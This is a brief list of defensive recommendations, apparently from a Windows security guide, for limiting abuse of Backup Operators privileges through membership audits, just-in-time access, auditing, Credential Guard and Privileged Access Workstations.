  • Audit Backup Operators membership and remove accounts that do not need it
  • Move backup access to just-in-time grants with an approval step
  • Turn on auditing for the credential files and for privilege use
  • Deploy Credential Guard on domain controllers (Windows Server 2016 and later)
  • Run backups from Privileged Access Workstations
  • Read the related privilege notes:

On this page